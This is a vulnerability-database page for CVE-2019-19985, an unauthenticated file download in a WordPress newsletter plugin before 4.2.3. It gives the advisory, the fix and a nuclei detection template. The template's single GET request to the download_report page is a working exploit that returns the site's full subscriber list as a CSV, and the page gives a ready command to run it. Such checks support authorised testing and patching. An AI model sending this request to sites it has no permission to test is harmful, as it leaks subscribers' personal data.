HexBrain

Browse / CVEs / CVE-2019-19985

CVE-2019-19985· icegram / email subscribers \& newsletters· CWE-862

WordPress Email Subscribers & Newsletters <4.2.3 - Arbitrary File Retrieval

mediumseverity
5.3CVSS score
71.4%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it

WordPress Email Subscribers & Newsletters plugin before 4.2.3 is susceptible to arbitrary file retrieval via a flaw that allows unauthenticated file download and user information disclosure. An attacker can obtain sensitive information, modify data, and/or execute unauthorized administrative operations.

Impact

An attacker can access sensitive files on the server, potentially leading to unauthorized access or data leakage.

Fix

Update to the latest version of WordPress Email Subscribers & Newsletters plugin (4.2.3) or apply the patch provided by the vendor.

How to confirm it

Send: GET {{BaseURL}}/wp-admin/admin.php?page=download_report&report=users&status=all
Positive when: contains "Name" and "Email" and "Status" and "Created On" AND contains in header "Content-Disposition: attachment; filename=all-contacts.csv;" AND status 200

Run it with nuclei: nuclei -id CVE-2019-19985 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2019-19985

info:
  name: WordPress Email Subscribers & Newsletters <4.2.3 - Arbitrary File Retrieval
  author: KBA@SOGETI_ESEC,madrobot,dwisiswant0
  severity: medium
  description: WordPress Email Subscribers & Newsletters plugin before 4.2.3 is susceptible to arbitrary file retrieval via a flaw that allows unauthenticated file download and user information disclosure. An attacker can  obtain sensitive information, modify data, and/or execute unauthorized administrative operations.
  impact: |
    An attacker can access sensitive files on the server, potentially leading to unauthorized access or data leakage.
  remediation: |
    Update to the latest version of WordPress Email Subscribers & Newsletters plugin (4.2.3) or apply the patch provided by the vendor.
  reference:
    - https://www.exploit-db.com/exploits/48698
    - https://wpvulndb.com/vulnerabilities/9946
    - https://www.wordfence.com/blog/2019/11/multiple-vulnerabilities-patched-in-email-subscribers-newsletters-plugin/
    - http://packetstormsecurity.com/files/158563/WordPress-Email-Subscribers-And-Newsletters-4.2.2-File-Disclosure.html
    - https://nvd.nist.gov/vuln/detail/CVE-2019-19985
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2019-19985
    cwe-id: CWE-862
    epss-score: 0.71399
    epss-percentile: 0.99418
    cpe: cpe:2.3:a:icegram:email_subscribers_\&_newsletters:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: icegram
    product: email_subscribers_\&_newsletters
    framework: wordpress
  tags: cve,cve2019,wordpress,wp-plugin,edb,packetstorm,icegram,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-admin/admin.php?page=download_report&report=users&status=all"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - Name
          - Email
          - Status
          - Created On
        condition: and

      - type: word
        part: header
        words:
          - "Content-Disposition: attachment; filename=all-contacts.csv;"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from